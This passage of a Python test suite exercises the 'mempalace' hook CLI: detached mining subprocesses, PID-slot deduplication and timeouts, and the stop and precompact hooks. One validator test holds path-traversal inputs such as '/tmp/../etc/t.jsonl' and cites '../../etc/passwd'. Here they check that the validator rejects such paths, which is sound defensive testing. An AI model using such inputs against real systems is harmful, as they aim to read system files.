in hook handlers). _maybe_auto_ingest only handles MEMPAL_DIR — even
|
|
when invoked in a context where a transcript is also being processed,
|
|
no second spawn for the transcript dir should appear here.
|
|
"""
|
|
convo_dir = tmp_path / "convos"
|
|
convo_dir.mkdir()
|
|
transcript = convo_dir / "session.jsonl"
|
|
transcript.write_text("")
|
|
with patch.dict("os.environ", {}, clear=True):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", tmp_path / "mine_pids"):
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
_maybe_auto_ingest()
|
|
mock_popen.assert_not_called()
|
|
|
|
|
|
def test_mine_sync_ignores_transcript(tmp_path):
|
|
"""_mine_sync does not run a convos mine for the transcript dir.
|
|
|
|
The precompact transcript ingest is the responsibility of
|
|
_ingest_transcript; routing it through _mine_sync would stack a
|
|
second 60s timeout against the harness 30s ceiling.
|
|
"""
|
|
convo_dir = tmp_path / "convos"
|
|
convo_dir.mkdir()
|
|
transcript = convo_dir / "session.jsonl"
|
|
transcript.write_text("")
|
|
with patch.dict("os.environ", {}, clear=True):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
|
_mine_sync()
|
|
mock_run.assert_not_called()
|
|
|
|
|
|
def test_maybe_auto_ingest_oserror(tmp_path):
|
|
"""OSError during subprocess spawn is silenced."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", tmp_path / "mine_pids"):
|
|
with patch("mempalace.hooks_cli.subprocess.Popen", side_effect=OSError("fail")):
|
|
_maybe_auto_ingest() # should not raise
|
|
|
|
|
|
def test_maybe_auto_ingest_skips_when_mine_running(tmp_path):
|
|
"""Does not spawn a new mine process if a mine for the same target is alive."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
pid_dir = tmp_path / "mine_pids"
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
# Pre-populate the per-target slot with a live PID (our own).
|
|
from mempalace.hooks_cli import _pid_file_for_cmd
|
|
|
|
cmd = [
|
|
sys.executable,
|
|
"-m",
|
|
"mempalace",
|
|
"mine",
|
|
str(mempal_dir.resolve()),
|
|
"--mode",
|
|
"projects",
|
|
]
|
|
pid_file = _pid_file_for_cmd(cmd)
|
|
pid_file.parent.mkdir(parents=True, exist_ok=True)
|
|
import time as _time
|
|
|
|
pid_file.write_text(f"{os.getpid()} {int(_time.time())}")
|
|
with patch("mempalace.hooks_cli._mempalace_python", return_value=sys.executable):
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
_maybe_auto_ingest()
|
|
mock_popen.assert_not_called()
|
|
|
|
|
|
# --- _detached_popen_kwargs ---
|
|
|
|
|
|
def test_detached_popen_kwargs_posix(monkeypatch):
|
|
"""On POSIX, kwargs include start_new_session so the child detaches."""
|
|
from mempalace.hooks_cli import _detached_popen_kwargs
|
|
|
|
monkeypatch.setattr("mempalace.hooks_cli.os.name", "posix")
|
|
kwargs = _detached_popen_kwargs()
|
|
assert kwargs.get("start_new_session") is True
|
|
assert kwargs.get("stdin") is subprocess.DEVNULL
|
|
assert kwargs.get("close_fds") is True
|
|
assert "creationflags" not in kwargs
|
|
|
|
|
|
def test_detached_popen_kwargs_windows(monkeypatch):
|
|
"""On Windows, kwargs include creationflags that fully detach the child.
|
|
|
|
Without these, the parent hook hangs at session end on Windows because
|
|
the child's inherited stdout/stderr handles keep the parent's exit
|
|
blocked (#1268 root cause for the Python hook path).
|
|
"""
|
|
from mempalace.hooks_cli import _detached_popen_kwargs
|
|
|
|
monkeypatch.setattr("mempalace.hooks_cli.os.name", "nt")
|
|
# Simulate Windows-only Popen flag constants. Patch on the imported
|
|
# subprocess module within hooks_cli so getattr() picks them up.
|
|
monkeypatch.setattr(
|
|
"mempalace.hooks_cli.subprocess.DETACHED_PROCESS", 0x00000008, raising=False
|
|
)
|
|
monkeypatch.setattr(
|
|
"mempalace.hooks_cli.subprocess.CREATE_NEW_PROCESS_GROUP", 0x00000200, raising=False
|
|
)
|
|
kwargs = _detached_popen_kwargs()
|
|
assert kwargs.get("stdin") is subprocess.DEVNULL
|
|
assert kwargs.get("close_fds") is True
|
|
flags = kwargs.get("creationflags", 0)
|
|
assert flags & 0x00000008, "DETACHED_PROCESS must be set"
|
|
assert flags & 0x00000200, "CREATE_NEW_PROCESS_GROUP must be set"
|
|
|
|
|
|
def test_spawn_mine_uses_detached_kwargs(tmp_path):
|
|
"""_spawn_mine forwards detached kwargs so the hook can exit cleanly."""
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", tmp_path / "mine_pids"):
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
mock_popen.return_value.pid = 9999
|
|
from mempalace.hooks_cli import _spawn_mine
|
|
|
|
_spawn_mine(["mempalace", "mine", "/tmp/x"])
|
|
kwargs = mock_popen.call_args.kwargs
|
|
# The exact key set varies by platform; assert on the
|
|
# shared invariants that protect against the Windows hang.
|
|
assert kwargs.get("stdin") is subprocess.DEVNULL
|
|
assert kwargs.get("close_fds") is True
|
|
|
|
|
|
def test_spawn_mine_skips_when_target_running(tmp_path):
|
|
"""A second spawn for the same cmd target while the first is alive must skip."""
|
|
import time as _time
|
|
|
|
pid_dir = tmp_path / "mine_pids"
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
from mempalace.hooks_cli import _pid_file_for_cmd, _spawn_mine
|
|
|
|
cmd = ["mempalace", "mine", "/tmp/proj", "--mode", "projects"]
|
|
pid_file = _pid_file_for_cmd(cmd)
|
|
pid_file.parent.mkdir(parents=True, exist_ok=True)
|
|
pid_file.write_text(f"{os.getpid()} {int(_time.time())}") # live PID, fresh
|
|
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
_spawn_mine(cmd)
|
|
mock_popen.assert_not_called()
|
|
|
|
|
|
def test_spawn_mine_distinct_targets_dont_block_each_other(tmp_path):
|
|
"""Two spawn calls for *different* targets both proceed."""
|
|
pid_dir = tmp_path / "mine_pids"
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
from mempalace.hooks_cli import _spawn_mine
|
|
|
|
mock_popen.return_value.pid = 1111
|
|
_spawn_mine(["mempalace", "mine", "/tmp/a", "--mode", "projects"])
|
|
mock_popen.return_value.pid = 2222
|
|
_spawn_mine(["mempalace", "mine", "/tmp/b", "--mode", "projects"])
|
|
assert mock_popen.call_count == 2
|
|
|
|
|
|
def test_spawn_mine_reclaims_stale_slot(tmp_path):
|
|
"""A slot pointing at a dead PID is reclaimed silently."""
|
|
pid_dir = tmp_path / "mine_pids"
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
from mempalace.hooks_cli import _pid_file_for_cmd, _spawn_mine
|
|
|
|
cmd = ["mempalace", "mine", "/tmp/proj", "--mode", "projects"]
|
|
pid_file = _pid_file_for_cmd(cmd)
|
|
pid_file.parent.mkdir(parents=True, exist_ok=True)
|
|
pid_file.write_text("999999999") # dead PID
|
|
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
mock_popen.return_value.pid = 4242
|
|
_spawn_mine(cmd)
|
|
mock_popen.assert_called_once()
|
|
# New PID is recorded in the reclaimed slot (format: "{pid} {timestamp}").
|
|
content = pid_file.read_text().strip()
|
|
assert content.split()[0] == "4242"
|
|
|
|
|
|
def test_spawn_mine_releases_slot_on_oserror(tmp_path):
|
|
"""If Popen raises OSError, the claimed slot must be released."""
|
|
pid_dir = tmp_path / "mine_pids"
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
from mempalace.hooks_cli import _pid_file_for_cmd, _spawn_mine
|
|
|
|
cmd = ["mempalace", "mine", "/tmp/proj", "--mode", "projects"]
|
|
pid_file = _pid_file_for_cmd(cmd)
|
|
|
|
with patch("mempalace.hooks_cli.subprocess.Popen", side_effect=OSError("spawn fail")):
|
|
with pytest.raises(OSError):
|
|
_spawn_mine(cmd)
|
|
assert not pid_file.exists(), (
|
|
"slot must be released so the next hook fire isn't permanently blocked"
|
|
)
|
|
|
|
|
|
def test_spawn_mine_passes_pid_file_env_var(tmp_path):
|
|
"""The child inherits MEMPALACE_MINE_PID_FILE so its cleanup hook can find the slot."""
|
|
pid_dir = tmp_path / "mine_pids"
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
mock_popen.return_value.pid = 5555
|
|
from mempalace.hooks_cli import _pid_file_for_cmd, _spawn_mine
|
|
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
_spawn_mine(cmd)
|
|
child_env = mock_popen.call_args.kwargs.get("env", {})
|
|
expected = str(_pid_file_for_cmd(cmd))
|
|
assert child_env.get("MEMPALACE_MINE_PID_FILE") == expected
|
|
|
|
|
|
def test_ingest_transcript_uses_detached_kwargs(tmp_path):
|
|
"""_ingest_transcript spawns the convos mine with detach kwargs."""
|
|
transcript = tmp_path / "session.jsonl"
|
|
transcript.write_text("x" * 200) # > 100 byte gate
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", tmp_path / "mine_pids"):
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
from mempalace.hooks_cli import _ingest_transcript
|
|
|
|
_ingest_transcript(str(transcript))
|
|
assert mock_popen.called
|
|
kwargs = mock_popen.call_args.kwargs
|
|
assert kwargs.get("stdin") is subprocess.DEVNULL
|
|
assert kwargs.get("close_fds") is True
|
|
|
|
|
|
def test_ingest_transcript_skips_when_target_running(tmp_path):
|
|
"""Repeated transcript ingests for the same transcript should dedup."""
|
|
transcript = tmp_path / "session.jsonl"
|
|
transcript.write_text("x" * 200)
|
|
pid_dir = tmp_path / "mine_pids"
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
with patch("mempalace.hooks_cli._mempalace_python", return_value=sys.executable):
|
|
from mempalace.hooks_cli import _ingest_transcript, _pid_file_for_cmd
|
|
|
|
expected_cmd = [
|
|
sys.executable,
|
|
"-m",
|
|
"mempalace",
|
|
"mine",
|
|
str(transcript.parent),
|
|
"--mode",
|
|
"convos",
|
|
"--wing",
|
|
"sessions",
|
|
]
|
|
pid_file = _pid_file_for_cmd(expected_cmd)
|
|
pid_file.parent.mkdir(parents=True, exist_ok=True)
|
|
import time as _time
|
|
|
|
pid_file.write_text(f"{os.getpid()} {int(_time.time())}") # live target, fresh
|
|
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
_ingest_transcript(str(transcript))
|
|
mock_popen.assert_not_called()
|
|
|
|
|
|
# --- _mine_already_running ---
|
|
|
|
|
|
def _seed_slot(pid_dir, cmd, body: str):
|
|
"""Write ``body`` into the per-target slot for ``cmd`` under ``pid_dir``."""
|
|
from mempalace.hooks_cli import _pid_file_for_cmd
|
|
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
slot = _pid_file_for_cmd(cmd)
|
|
slot.parent.mkdir(parents=True, exist_ok=True)
|
|
slot.write_text(body)
|
|
return slot
|
|
|
|
|
|
def test_mine_already_running_no_file(tmp_path):
|
|
"""Returns False when no per-target slot exists."""
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", tmp_path / "mine_pids"):
|
|
assert _mine_already_running(cmd) is False
|
|
|
|
|
|
def test_mine_already_running_dead_pid(tmp_path):
|
|
"""Returns False when the slot's recorded PID is no longer alive."""
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
_seed_slot(pid_dir, cmd, "999999999") # almost certainly not a real PID
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
assert _mine_already_running(cmd) is False
|
|
|
|
|
|
def test_mine_already_running_live_pid(tmp_path):
|
|
"""Returns True when the slot's recorded PID is alive (new {pid ts} format)."""
|
|
import time as _time
|
|
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
# Use a recent timestamp so the default 2 h timeout does not trigger.
|
|
_seed_slot(pid_dir, cmd, f"{os.getpid()} {int(_time.time())}")
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
assert _mine_already_running(cmd) is True
|
|
|
|
|
|
def test_mine_already_running_live_pid_bare_format(tmp_path):
|
|
"""Old bare-PID format uses file mtime for the stale-by-age check."""
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
_seed_slot(pid_dir, cmd, str(os.getpid())) # old format: bare PID
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
assert _mine_already_running(cmd) is True
|
|
|
|
|
|
def test_mine_already_running_bare_pid_old_mtime_is_stale(tmp_path):
|
|
"""Old bare-PID slots are reclaimed once their file mtime exceeds timeout."""
|
|
import time as _time
|
|
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
slot = _seed_slot(pid_dir, cmd, str(os.getpid()))
|
|
old_mtime = _time.time() - 3601
|
|
os.utime(slot, (old_mtime, old_mtime))
|
|
with (
|
|
patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir),
|
|
patch.dict("os.environ", {"MEMPALACE_MINE_TIMEOUT_HOURS": "1"}),
|
|
):
|
|
assert _mine_already_running(cmd) is False
|
|
|
|
|
|
def test_mine_already_running_malformed_timestamp_is_stale(tmp_path):
|
|
"""Malformed timestamps fail soft instead of crashing hook execution."""
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
_seed_slot(pid_dir, cmd, f"{os.getpid()} not-a-timestamp")
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
assert _mine_already_running(cmd) is False
|
|
|
|
|
|
def test_mine_slot_timeout_invalid_env_disables_timeout():
|
|
"""Invalid MEMPALACE_MINE_TIMEOUT_HOURS disables stale-by-age checks."""
|
|
from mempalace.hooks_cli import _mine_slot_timeout_secs
|
|
|
|
with patch.dict("os.environ", {"MEMPALACE_MINE_TIMEOUT_HOURS": "nope"}):
|
|
assert _mine_slot_timeout_secs() == 0.0
|
|
|
|
|
|
def test_mine_already_running_live_pid_exceeds_timeout(tmp_path):
|
|
"""Returns False when PID is alive but has exceeded the configured timeout (#1552)."""
|
|
import time as _time
|
|
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
# Timestamp far in the past so any positive timeout fires immediately.
|
|
old_ts = int(_time.time()) - 3601 # 1 second past 1-hour mark
|
|
_seed_slot(pid_dir, cmd, f"{os.getpid()} {old_ts}")
|
|
with (
|
|
patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir),
|
|
patch.dict("os.environ", {"MEMPALACE_MINE_TIMEOUT_HOURS": "1"}),
|
|
):
|
|
assert _mine_already_running(cmd) is False
|
|
|
|
|
|
def test_mine_already_running_live_pid_within_timeout(tmp_path):
|
|
"""Returns True when PID is alive and has NOT exceeded the configured timeout."""
|
|
import time as _time
|
|
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
recent_ts = int(_time.time()) - 60 # only 1 minute old
|
|
_seed_slot(pid_dir, cmd, f"{os.getpid()} {recent_ts}")
|
|
with (
|
|
patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir),
|
|
patch.dict("os.environ", {"MEMPALACE_MINE_TIMEOUT_HOURS": "2"}),
|
|
):
|
|
assert _mine_already_running(cmd) is True
|
|
|
|
|
|
def test_mine_already_running_timeout_zero_disables_check(tmp_path):
|
|
"""MEMPALACE_MINE_TIMEOUT_HOURS=0 disables the age-based stale check."""
|
|
import time as _time
|
|
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
old_ts = int(_time.time()) - 86400 # 24 hours ago — stale under any non-zero timeout
|
|
_seed_slot(pid_dir, cmd, f"{os.getpid()} {old_ts}")
|
|
with (
|
|
patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir),
|
|
patch.dict("os.environ", {"MEMPALACE_MINE_TIMEOUT_HOURS": "0"}),
|
|
):
|
|
# Timeout disabled — alive PID is always considered running.
|
|
assert _mine_already_running(cmd) is True
|
|
|
|
|
|
def test_mine_already_running_corrupt_file(tmp_path):
|
|
"""Returns False when the slot contains non-integer content."""
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd = ["mempalace", "mine", "/tmp/x", "--mode", "projects"]
|
|
_seed_slot(pid_dir, cmd, "not-a-pid")
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
assert _mine_already_running(cmd) is False
|
|
|
|
|
|
def test_mine_already_running_distinct_cmds_independent(tmp_path):
|
|
"""Slots are keyed per cmd; an alive entry for cmd A doesn't shadow cmd B."""
|
|
import time as _time
|
|
|
|
pid_dir = tmp_path / "mine_pids"
|
|
cmd_a = ["mempalace", "mine", "/tmp/a", "--mode", "projects"]
|
|
cmd_b = ["mempalace", "mine", "/tmp/b", "--mode", "projects"]
|
|
recent_ts = int(_time.time())
|
|
_seed_slot(pid_dir, cmd_a, f"{os.getpid()} {recent_ts}")
|
|
with patch("mempalace.hooks_cli._MINE_PID_DIR", pid_dir):
|
|
assert _mine_already_running(cmd_a) is True
|
|
assert _mine_already_running(cmd_b) is False
|
|
|
|
|
|
# --- _get_mine_targets ---
|
|
|
|
|
|
def test_get_mine_targets_mempal_dir_only(tmp_path):
|
|
"""MEMPAL_DIR alone yields a single projects target, expanded/resolved."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
targets = _get_mine_targets()
|
|
assert len(targets) == 1
|
|
assert Path(targets[0][0]).resolve() == mempal_dir.resolve()
|
|
assert targets[0][1] == "projects"
|
|
|
|
|
|
def test_get_mine_targets_mempal_dir_tilde(tmp_path):
|
|
"""MEMPAL_DIR with a tilde prefix is expanded correctly."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
home = Path.home()
|
|
try:
|
|
rel = mempal_dir.relative_to(home)
|
|
except ValueError:
|
|
pytest.skip("tmp_path is not under home, cannot build ~-relative path")
|
|
tilde_path = "~/" + str(rel)
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": tilde_path}):
|
|
targets = _get_mine_targets()
|
|
assert len(targets) == 1
|
|
assert Path(targets[0][0]).resolve() == mempal_dir.resolve()
|
|
assert targets[0][1] == "projects"
|
|
|
|
|
|
def test_get_mine_targets_no_transcript_target(tmp_path):
|
|
"""_get_mine_targets does not emit a convos target for the transcript path.
|
|
|
|
Transcript ingestion is owned by _ingest_transcript; emitting it
|
|
here too would double-mine the same JSONL into a different wing on
|
|
every hook fire (#1231 review).
|
|
"""
|
|
transcript = tmp_path / "t.jsonl"
|
|
transcript.write_text("")
|
|
with patch.dict("os.environ", {}, clear=True):
|
|
targets = _get_mine_targets()
|
|
assert targets == []
|
|
|
|
|
|
def test_get_mine_targets_only_returns_mempal_dir(tmp_path):
|
|
"""When MEMPAL_DIR is set, exactly one projects target — never a convos target."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
targets = _get_mine_targets()
|
|
assert len(targets) == 1
|
|
assert targets[0][1] == "projects"
|
|
|
|
|
|
def test_validate_transcript_path_traversal_rejected_jsonl(tmp_path):
|
|
"""Path traversal is rejected even when the path has a .jsonl suffix.
|
|
|
|
The pre-fix test used "../../etc/passwd" which lacks an extension and
|
|
so was rejected by the suffix gate before the traversal check ever
|
|
fired (Copilot review on #1231). Use a .jsonl path with `..`
|
|
segments to exercise the traversal guard specifically.
|
|
"""
|
|
assert _validate_transcript_path("../t.jsonl") is None
|
|
assert _validate_transcript_path("a/../b.jsonl") is None
|
|
assert _validate_transcript_path("/tmp/../etc/t.jsonl") is None
|
|
|
|
|
|
def test_get_mine_targets_empty():
|
|
"""Returns empty list when MEMPAL_DIR is unset or invalid."""
|
|
with patch.dict("os.environ", {}, clear=True):
|
|
assert _get_mine_targets() == []
|
|
|
|
|
|
# --- _parse_harness_input ---
|
|
|
|
|
|
def test_parse_harness_input_unknown():
|
|
"""Unknown harness should sys.exit(1)."""
|
|
with pytest.raises(SystemExit) as exc_info:
|
|
_parse_harness_input({"session_id": "test"}, "unknown-harness")
|
|
assert exc_info.value.code == 1
|
|
|
|
|
|
def test_parse_harness_input_valid():
|
|
result = _parse_harness_input(
|
|
{
|
|
"session_id": "abc-123",
|
|
"stop_hook_active": True,
|
|
"transcript_path": "/tmp/t.jsonl",
|
|
},
|
|
"claude-code",
|
|
)
|
|
assert result["session_id"] == "abc-123"
|
|
assert result["stop_hook_active"] is True
|
|
|
|
|
|
# --- hook_stop with OSError on write ---
|
|
|
|
|
|
def test_stop_hook_oserror_on_last_save_read(tmp_path):
|
|
"""When last_save_file has invalid content, falls back to 0."""
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
|
)
|
|
# Write invalid content to last save file
|
|
(tmp_path / "test_last_save").write_text("not_a_number")
|
|
save_result = {"count": 15, "themes": ["testing"]}
|
|
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
|
|
result = _capture_hook_output(
|
|
hook_stop,
|
|
{"session_id": "test", "stop_hook_active": False, "transcript_path": str(transcript)},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert "systemMessage" in result
|
|
assert "15 memories" in result["systemMessage"]
|
|
|
|
|
|
def test_stop_hook_oserror_on_write(tmp_path):
|
|
"""When write to last_save_file fails, hook still outputs correctly."""
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
|
)
|
|
|
|
def bad_write_text(*args, **kwargs):
|
|
raise OSError("disk full")
|
|
|
|
save_result = {"count": 15, "themes": []}
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._save_diary_direct", return_value=save_result):
|
|
with patch.object(Path, "write_text", bad_write_text):
|
|
result = _capture_hook_output(
|
|
hook_stop,
|
|
{
|
|
"session_id": "test",
|
|
"stop_hook_active": False,
|
|
"transcript_path": str(transcript),
|
|
},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert "systemMessage" in result
|
|
|
|
|
|
# --- hook_precompact with MEMPAL_DIR ---
|
|
|
|
|
|
def test_precompact_with_mempal_dir(tmp_path):
|
|
"""Precompact runs subprocess.run (sync) when MEMPAL_DIR is set."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
|
result = _capture_hook_output(
|
|
hook_precompact,
|
|
{"session_id": "test"},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
mock_run.assert_called_once()
|
|
|
|
|
|
def test_precompact_with_mempal_dir_oserror(tmp_path):
|
|
"""Precompact handles OSError from subprocess gracefully."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
with patch("mempalace.hooks_cli.subprocess.run", side_effect=OSError("fail")):
|
|
result = _capture_hook_output(
|
|
hook_precompact,
|
|
{"session_id": "test"},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
|
|
|
|
def test_precompact_with_timeout(tmp_path):
|
|
"""Precompact handles TimeoutExpired gracefully -- still allows."""
|
|
mempal_dir = tmp_path / "project"
|
|
mempal_dir.mkdir()
|
|
with patch.dict("os.environ", {"MEMPAL_DIR": str(mempal_dir)}):
|
|
with patch(
|
|
"mempalace.hooks_cli.subprocess.run",
|
|
side_effect=subprocess.TimeoutExpired(cmd="mine", timeout=60),
|
|
):
|
|
result = _capture_hook_output(
|
|
hook_precompact, {"session_id": "test"}, state_dir=tmp_path
|
|
)
|
|
assert result == {}
|
|
|
|
|
|
def test_precompact_mines_transcript_dir(tmp_path, monkeypatch):
|
|
"""Precompact ingests the active transcript via _ingest_transcript.
|
|
|
|
With no MEMPAL_DIR, _mine_sync is a no-op; the transcript ingest is
|
|
the only mining that should fire, and it goes through Popen
|
|
(background) inside _ingest_transcript. Pre-#1231-review this test
|
|
asserted against subprocess.run, which corresponded to the
|
|
duplicate-mine path that has now been removed.
|
|
"""
|
|
transcript = tmp_path / "t.jsonl"
|
|
# _ingest_transcript skips files smaller than 100 bytes, so pad it.
|
|
transcript.write_text("x" * 200)
|
|
monkeypatch.delenv("MEMPAL_DIR", raising=False)
|
|
with patch("mempalace.hooks_cli.subprocess.Popen") as mock_popen:
|
|
with patch("mempalace.hooks_cli.subprocess.run") as mock_run:
|
|
result = _capture_hook_output(
|
|
hook_precompact,
|
|
{"session_id": "test", "transcript_path": str(transcript)},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
mock_run.assert_not_called()
|
|
mock_popen.assert_called_once()
|
|
cmd = mock_popen.call_args[0][0]
|
|
# Mines the transcript's parent dir as convos, into wing "sessions".
|
|
assert str(tmp_path) in cmd
|
|
assert cmd[cmd.index("--mode") + 1] == "convos"
|
|
assert cmd[cmd.index("--wing") + 1] == "sessions"
|
|
|
|
|
|
# --- run_hook ---
|
|
|
|
|
|
def test_run_hook_dispatches_session_start(tmp_path):
|
|
"""run_hook reads stdin JSON and dispatches to correct handler."""
|
|
stdin_data = json.dumps({"session_id": "run-test"})
|
|
with patch("sys.stdin", io.StringIO(stdin_data)):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._output") as mock_output:
|
|
run_hook("session-start", "claude-code")
|
|
mock_output.assert_called_once_with({})
|
|
|
|
|
|
def test_run_hook_dispatches_stop(tmp_path):
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(3)],
|
|
)
|
|
stdin_data = json.dumps(
|
|
{
|
|
"session_id": "run-test",
|
|
"stop_hook_active": False,
|
|
"transcript_path": str(transcript),
|
|
}
|
|
)
|
|
with patch("sys.stdin", io.StringIO(stdin_data)):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._output") as mock_output:
|
|
run_hook("stop", "claude-code")
|
|
mock_output.assert_called_once_with({})
|
|
|
|
|
|
def test_run_hook_dispatches_precompact(tmp_path):
|
|
stdin_data = json.dumps({"session_id": "run-test"})
|
|
with patch("sys.stdin", io.StringIO(stdin_data)):
|
|
with patch("mempalace.hooks_cli.STATE_DIR", tmp_path):
|
|
with patch("mempalace.hooks_cli._output") as mock_output:
|
|
run_hook("precompact", "claude-code")
|
|
mock_output.assert_called_once_with({})
|
|
|
|
|
|
# --- auto_save config toggle ---
|
|
|
|
|
|
def test_stop_hook_disabled_by_config(tmp_path):
|
|
"""When hooks.auto_save is false in config, stop hook passes through."""
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
|
|
transcript,
|
|
[{"message": {"role": "user", "content": f"msg {i}"}} for i in range(SAVE_INTERVAL)],
|
|
)
|
|
with patch("mempalace.hooks_cli.MempalaceConfig") as mock_cfg_cls:
|
|
mock_cfg_cls.return_value.hooks_auto_save = False
|
|
result = _capture_hook_output(
|
|
hook_stop,
|
|
{
|
|
"session_id": "test",
|
|
"stop_hook_active": False,
|
|
"transcript_path": str(transcript),
|
|
},
|
|
state_dir=tmp_path,
|
|
)
|
|
assert result == {}
|
|
|
|
|
|
def test_stop_hook_enabled_by_default(tmp_path):
|
|
"""When auto_save is enabled, stop hook saves silently (systemMessage)."""
|
|
transcript = tmp_path / "t.jsonl"
|
|
_write_transcript(
